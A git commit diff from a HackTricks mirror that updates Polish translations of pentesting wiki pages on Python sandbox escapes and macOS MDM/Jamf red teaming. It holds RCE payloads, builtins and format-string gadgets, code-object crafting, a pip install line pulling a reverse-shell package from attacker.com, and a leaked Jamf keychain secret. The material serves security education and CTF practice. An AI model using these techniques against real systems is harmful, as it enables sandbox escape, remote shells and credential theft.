mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/python/byp
This commit is contained in:
parent
fd15711c9a
commit
d28e41bb99
31 changed files with 418 additions and 416 deletions
18
README.md
18
README.md
|
@ -5,7 +5,7 @@
|
|||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Witamy w wiki, gdzie znajdziesz każdą sztuczkę/technikę hakerską, którą nauczyłem się z CTF, aplikacji w rzeczywistym życiu, czytania badań i wiadomości.**
|
||||
**Witamy w wiki, gdzie znajdziesz każdą sztuczkę/technikę hakerską, którą nauczyłem się z CTF, aplikacji w rzeczywistości, czytania badań i wiadomości.**
|
||||
{% endhint %}
|
||||
|
||||
Aby rozpocząć, zapoznaj się z tą stroną, gdzie znajdziesz **typowy przebieg**, który **powinieneś śledzić podczas pentestingu** jednej lub więcej **maszyn:**
|
||||
|
@ -32,7 +32,7 @@ Możesz sprawdzić ich **blog** pod adresem [**https://blog.stmcyber.com**](http
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie.
|
||||
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie w dziedzinie cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologicznych i cyberbezpieczeństwa w każdej dziedzinie.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,7 +42,7 @@ Możesz sprawdzić ich **blog** pod adresem [**https://blog.stmcyber.com**](http
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** to **numer 1 w Europie** w zakresie etycznego hackingu i **platforma bug bounty.**
|
||||
**Intigriti** to **numer 1 w Europie** w dziedzinie etycznego hackingu i **platforma bug bounty.**
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
|
@ -67,7 +67,7 @@ Uzyskaj dostęp już dziś:
|
|||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bugów!
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bug bounty!
|
||||
|
||||
* **Wgląd w hacking:** Angażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
* **Aktualności o hackingu w czasie rzeczywistym:** Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
||||
|
@ -81,9 +81,9 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -111,13 +111,13 @@ Możesz **utworzyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign\_
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) to profesjonalna firma zajmująca się cyberbezpieczeństwem z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami w zakresie cyberbezpieczeństwa, oferując **usługi ofensywne** z **nowoczesnym** podejściem.
|
||||
[**WebSec**](https://websec.nl) to profesjonalna firma zajmująca się cyberbezpieczeństwem z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami w dziedzinie cyberbezpieczeństwa, oferując **usługi ofensywne** z **nowoczesnym** podejściem.
|
||||
|
||||
WebSec to **wszystko w jednym** firma zabezpieczeń, co oznacza, że robią wszystko; Pentesting, **Audyty** Bezpieczeństwa, Szkolenia w zakresie Świadomości, Kampanie Phishingowe, Przegląd Kodów, Rozwój Exploitów, Outsourcing Ekspertów ds. Bezpieczeństwa i wiele więcej.
|
||||
|
||||
Kolejną fajną rzeczą w WebSec jest to, że w przeciwieństwie do średniej w branży, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki jakościowe**, jak stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz!**". Aby uzyskać więcej informacji, zapoznaj się z ich [**stroną**](https://websec.nl/en/) i [**blogiem**](https://websec.nl/blog/)!
|
||||
Inną fajną rzeczą w WebSec jest to, że w przeciwieństwie do średniej w branży, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki jakościowe**, co stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz!**". Aby uzyskać więcej informacji, zapoznaj się z ich [**stroną**](https://websec.nl/en/) i [**blogiem**](https://websec.nl/blog/)!
|
||||
|
||||
Oprócz powyższego, WebSec jest również **zaangażowanym wsparciem HackTricks.**
|
||||
Oprócz powyższego, WebSec jest również **zaangażowanym wsparciem dla HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
|
|
|
@ -8,28 +8,28 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
|
||||
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
|
||||
To są niektóre triki, aby obejść zabezpieczenia piaskownicy Pythona i wykonać dowolne polecenia.
|
||||
|
||||
## Command Execution Libraries
|
||||
## Biblioteki wykonania poleceń
|
||||
|
||||
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
|
||||
Pierwszą rzeczą, którą musisz wiedzieć, jest to, czy możesz bezpośrednio wykonać kod za pomocą już zaimportowanej biblioteki, czy też możesz zaimportować którąkolwiek z tych bibliotek:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -102,12 +102,12 @@ Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pak
|
|||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę, pamiętaj, że przed jego użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**:
|
||||
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę, pamiętaj, że przed użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Ten pakiet nazywa się `Reverse`. Jednak został specjalnie stworzony, aby po wyjściu z reverse shell reszta instalacji zakończyła się niepowodzeniem, więc **nie zostawisz żadnego dodatkowego pakietu python na serwerze** po wyjściu.
|
||||
Ten pakiet nazywa się `Reverse`. Jednak został specjalnie stworzony, aby po wyjściu z reverse shell reszta instalacji zakończyła się niepowodzeniem, więc **nie zostawisz żadnego dodatkowego pakietu python zainstalowanego na serwerze** po wyjściu.
|
||||
{% endhint %}
|
||||
|
||||
## Eval-ing kodu python
|
||||
|
@ -162,7 +162,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
|
||||
W [**tym artykule**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używane do ładowania i wykonywania dowolnego kodu python wewnątrz pozornie izolowanego środowiska:
|
||||
W [**tym artykule**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używany do ładowania i wykonywania dowolnego kodu python wewnątrz pozornie izolowanego środowiska:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -177,7 +177,7 @@ Możliwe jest również ominięcie tego za pomocą innych kodowań, np. `raw_uni
|
|||
|
||||
## Wykonanie Pythona bez wywołań
|
||||
|
||||
Jeśli jesteś w pułapce Pythona, która **nie pozwala na wywołania**, istnieją nadal sposoby na **wykonanie dowolnych funkcji, kodu** i **komend**.
|
||||
Jeśli jesteś w więzieniu Pythona, które **nie pozwala na wywołania**, wciąż istnieją sposoby na **wykonanie dowolnych funkcji, kodu** i **poleceń**.
|
||||
|
||||
### RCE z [dekoratorami](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
|
@ -207,7 +207,7 @@ Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możes
|
|||
|
||||
#### RCE z niestandardowymi klasami
|
||||
|
||||
Możesz modyfikować niektóre **metody klas** (_przez przeciążanie istniejących metod klas lub tworzenie nowej klasy_), aby sprawiały, że **wykonują dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania.
|
||||
Możesz modyfikować niektóre **metody klas** (_przez przeciążenie istniejących metod klas lub utworzenie nowej klasy_), aby sprawić, że będą **wykonywać dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -329,20 +329,20 @@ pass
|
|||
```
|
||||
## Builtins
|
||||
|
||||
* [**Funkcje wbudowane w python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Funkcje wbudowane w python3**](https://docs.python.org/3/library/functions.html)
|
||||
* [**Funkcje wbudowane Pythona 2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Funkcje wbudowane Pythona 3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Jeśli masz dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że możesz również użyć tutaj innej reprezentacji ciągu pokazanej w ostatniej sekcji):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
### Brak Wbudowanych
|
||||
|
||||
Kiedy nie masz `__builtins__`, nie będziesz w stanie zaimportować niczego ani nawet czytać lub pisać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||
Jednak **domyślnie python importuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które można wykorzystać do uzyskania **dowolnego wykonania kodu**.
|
||||
|
||||
W poniższych przykładach możesz zaobserwować, jak **wykorzystać** niektóre z tych "**nieszkodliwych**" modułów załadowanych do **dostępu** do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
||||
W poniższych przykładach możesz zaobserwować, jak **nadużywać** niektóre z tych "**nieszkodliwych**" modułów załadowanych do **dostępu** do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -712,7 +712,7 @@ Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za po
|
|||
|
||||
Zauważ również, że możesz użyć `.__dict__`, aby wyliczyć elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Niektóre inne interesujące cechy formatów ciągów to możliwość **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając **`!s`**, **`!r`**, **`!a`** odpowiednio:
|
||||
Niektóre inne interesujące cechy ciągów formatu są możliwością **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając **`!s`**, **`!r`**, **`!a`** odpowiednio:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -728,10 +728,10 @@ return 'HAL 9000'
|
|||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Więcej przykładów** dotyczących **formatu** **łańcucha** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Więcej przykładów** dotyczących **format** **string** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Sprawdź również następującą stronę w poszukiwaniu gadżetów, które r**ead sensitive information from Python internal objects**:
|
||||
Sprawdź także następującą stronę w poszukiwaniu gadżetów, które r**ead sensitive information from Python internal objects**:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
|
@ -756,16 +756,16 @@ str(x) # Out: clueless
|
|||
```
|
||||
### Od formatu do RCE ładowanie bibliotek
|
||||
|
||||
Zgodnie z [**wyzwaniem TypeMonkey z tego opisu**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest ładowanie dowolnych bibliotek z dysku, wykorzystując lukę w formacie łańcucha w pythonie.
|
||||
Zgodnie z [**wyzwaniem TypeMonkey z tego opisu**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest ładowanie dowolnych bibliotek z dysku, wykorzystując lukę w formacie ciągu w pythonie.
|
||||
|
||||
Przypomnienie: za każdym razem, gdy wykonywana jest akcja w pythonie, wywoływana jest jakaś funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** wykona **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Masz więcej takich przykładów w sekcji [**Wykonanie Pythona bez wywołań**](./#python-execution-without-calls).
|
||||
|
||||
Luka w formacie łańcucha w pythonie nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie jest możliwe uzyskanie RCE jak `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Luka w formacie ciągu w pythonie nie pozwala na wywoływanie funkcji (nie pozwala na użycie nawiasów), więc nie jest możliwe uzyskanie RCE jak `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Jednak możliwe jest użycie `[]`. Dlatego, jeśli powszechna biblioteka pythonowa ma metodę **`__getitem__`** lub **`__getattr__`**, która wykonuje dowolny kod, można je wykorzystać do uzyskania RCE.
|
||||
|
||||
Szukając takiego gadżetu w pythonie, opis proponuje to [**zapytanie wyszukiwania Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Gdzie znalazł ten [przykład](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
Szukając takiego gadżetu w pythonie, opis proponuje to [**zapytanie wyszukiwania na Githubie**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Gdzie znalazł ten [przykład](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
|
@ -787,7 +787,7 @@ return getattr(self, name)
|
|||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Ten gadżet pozwala na **załadowanie biblioteki z dysku**. Dlatego konieczne jest w jakiś sposób **napisać lub przesłać bibliotekę do załadowania** poprawnie skompilowaną na zaatakowany serwer.
|
||||
Ten gadżet pozwala na **załadowanie biblioteki z dysku**. Dlatego konieczne jest w jakiś sposób **napisanie lub przesłanie biblioteki do załadowania** poprawnie skompilowanej na zaatakowany serwer.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
|
@ -796,7 +796,7 @@ Wyzwanie w rzeczywistości wykorzystuje inną lukę w serwerze, która pozwala n
|
|||
## Analiza obiektów Pythona
|
||||
|
||||
{% hint style="info" %}
|
||||
Jeśli chcesz **nauczyć się** o **bajtkodzie Pythona** w głębi, przeczytaj ten **świetny** post na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
Jeśli chcesz **nauczyć się** o **bytecode Pythona** w głębi, przeczytaj ten **świetny** post na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
W niektórych CTF-ach możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga** i musisz zobaczyć **wnętrze** **funkcji**, aby ją wyodrębnić.
|
||||
|
@ -922,7 +922,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **rozłożyć** go lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je zgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również informuje o przesunięciu zmiennej, która jest ładowana.
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bajtowy kod** funkcji (`get_flag.func_code.co_code`) i **zdekompilować** go lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je zgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również informuje o przesunięciu zmiennej, która jest ładowana.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -947,7 +947,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
## Kompilowanie Pythona
|
||||
|
||||
Teraz wyobraźmy sobie, że w jakiś sposób możesz **zrzucić informacje o funkcji, której nie możesz wykonać**, ale **musisz** ją **wykonać**.\
|
||||
Jak w poniższym przykładzie, **możesz uzyskać dostęp do obiektu kodu** tej funkcji, ale tylko czytając disassemble **nie wiesz, jak obliczyć flagę** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_)
|
||||
Jak w następującym przykładzie, **możesz uzyskać dostęp do obiektu kodu** tej funkcji, ale tylko czytając disassemble **nie wiesz, jak obliczyć flagę** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -982,7 +982,7 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
{% hint style="info" %}
|
||||
W zależności od wersji Pythona, **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem na poznanie kolejności parametrów w wersji Pythona, którą uruchamiasz, jest uruchomienie:
|
||||
W zależności od wersji Pythona, **parametry** `code_type` mogą mieć **inną kolejność**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji Pythona, którą uruchamiasz, jest uruchomienie:
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -1037,7 +1037,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz stworzyć **odpowiednią funkcję**, ale jej bezpośrednie wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: _konstruktor niedostępny w trybie ograniczonym_. Musisz więc mieć **funkcję, która nie jest w ograniczonym środowisku, aby wywołać tę funkcję.**
|
||||
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz stworzyć **odpowiednią funkcję**, ale jej bezpośrednie wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: _konstruktor niedostępny w trybie ograniczonym_. Dlatego potrzebujesz **funkcji, która nie jest w ograniczonym środowisku, aby wywołać tę funkcję.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1082,9 +1082,9 @@ will be bypassed
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -38,7 +38,7 @@ Dla red teamingu w środowiskach MacOS zaleca się posiadanie pewnej wiedzy na t
|
|||
|
||||
### Używanie MDM jako C2
|
||||
|
||||
MDM będzie miało uprawnienia do instalowania, zapytywania lub usuwania profili, instalowania aplikacji, tworzenia lokalnych kont administratora, ustawiania hasła firmware, zmiany klucza FileVault...
|
||||
MDM będzie miało uprawnienia do instalowania, zapytywania lub usuwania profili, instalowania aplikacji, tworzenia lokalnych kont administratorów, ustawiania hasła firmware, zmiany klucza FileVault...
|
||||
|
||||
Aby uruchomić własne MDM, musisz **podpisać swój CSR przez dostawcę**, co możesz spróbować uzyskać za pomocą [**https://mdmcert.download/**](https://mdmcert.download/). Aby uruchomić własne MDM dla urządzeń Apple, możesz użyć [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
|
@ -66,12 +66,12 @@ Ponadto, po znalezieniu odpowiednich danych logowania, możesz być w stanie prz
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** binarny zawierał sekret do otwarcia pęku kluczy, który w momencie odkrycia był **dzielony** wśród wszystkich i był: **`jk23ucnq91jfu9aj`**.\
|
||||
Binarne **`jamf`** zawierało sekret do otwarcia pęku kluczy, który w momencie odkrycia był **dzielony** wśród wszystkich i brzmiał: **`jk23ucnq91jfu9aj`**.\
|
||||
Ponadto, jamf **utrzymuje się** jako **LaunchDaemon** w **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### Przejęcie urządzenia JAMF
|
||||
|
||||
**JSS** (Jamf Software Server) **URL**, który **`jamf`** będzie używać, znajduje się w **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
URL **JSS** (Jamf Software Server), który **`jamf`** będzie używać, znajduje się w **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Ten plik zasadniczo zawiera URL:
|
||||
```bash
|
||||
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
||||
|
@ -115,7 +115,7 @@ Możesz również monitorować lokalizację `/Library/Application Support/Jamf/t
|
|||
|
||||
Jednakże, **poświadczenia** mogą być przekazywane do tych skryptów jako **parametry**, więc musisz monitorować `ps aux | grep -i jamf` (nawet nie będąc rootem).
|
